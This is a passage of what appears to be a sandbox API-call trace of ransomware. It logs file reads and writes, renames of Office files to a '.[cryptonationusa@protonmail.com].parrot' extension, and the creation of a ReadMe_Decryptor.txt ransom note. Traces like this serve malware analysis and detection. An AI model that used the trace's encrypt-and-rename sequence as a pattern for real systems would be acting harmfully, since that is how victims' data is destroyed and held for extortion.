hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d9f08 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9f08 | out: hHeap=0x5b0000) returned 1 [0180.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3198458 [0180.538] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0180.538] WriteFile (in: hFile=0x288, lpBuffer=0x3198458*, nNumberOfBytesToWrite=0x8b8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3198458*, lpNumberOfBytesWritten=0x18eed4*=0x8b8, lpOverlapped=0x0) returned 1 [0180.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0180.541] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.541] CloseHandle (hObject=0x288) returned 1 [0180.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0180.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0180.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0180.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDALLLNK.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdalllnk.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0180.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.542] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0180.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0180.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0180.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0180.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0180.543] GetFileType (hFile=0x288) returned 0x1 [0180.544] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0180.555] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x691, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.555] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.555] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.646] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.646] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x579, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x579, lpOverlapped=0x0) returned 1 [0180.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0180.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0180.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0180.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0180.646] GetLastError () returned 0x0 [0180.647] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0180.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0180.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0180.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0180.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0180.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0180.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0180.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0180.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0180.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0180.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0180.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0180.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0180.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0180.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0180.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0180.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0180.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0180.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0180.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0180.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0180.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0180.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0180.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0180.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0180.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0180.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0180.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0180.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0180.648] WriteFile (in: hFile=0x288, lpBuffer=0x69e650*, nNumberOfBytesToWrite=0x698, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x69e650*, lpNumberOfBytesWritten=0x18eed4*=0x698, lpOverlapped=0x0) returned 1 [0180.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0180.651] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x691, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.651] CloseHandle (hObject=0x288) returned 1 [0180.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0180.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0180.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0180.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0180.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0180.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0180.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0180.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0180.655] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x83a, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.655] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.655] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.665] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.665] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x722, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x722, lpOverlapped=0x0) returned 1 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.666] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0180.666] GetLastError () returned 0x0 [0180.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0180.666] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0180.666] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0180.666] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0180.666] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0180.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d9e28 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3198458 [0180.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9e28 | out: hHeap=0x5b0000) returned 1 [0180.667] WriteFile (in: hFile=0x288, lpBuffer=0x3198458*, nNumberOfBytesToWrite=0x848, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3198458*, lpNumberOfBytesWritten=0x18eed4*=0x848, lpOverlapped=0x0) returned 1 [0180.670] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0180.670] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x83a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.670] CloseHandle (hObject=0x288) returned 1 [0180.671] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0180.671] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0180.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0180.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0180.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0180.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0180.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0180.672] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0180.679] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b4372, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.680] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.680] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.686] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.686] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0180.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0180.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0180.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0180.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0180.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0180.754] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0180.754] GetLastError () returned 0x0 [0180.773] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.773] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0180.776] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.776] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0180.779] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b4372, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0180.779] CloseHandle (hObject=0x288) returned 1 [0180.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0180.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0180.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0180.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0180.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0180.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0180.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0180.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0180.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0180.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0180.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0180.833] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a3, nNumberOfBytesToLockHigh=0x0) returned 1 [0180.833] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0180.833] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0180.834] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, 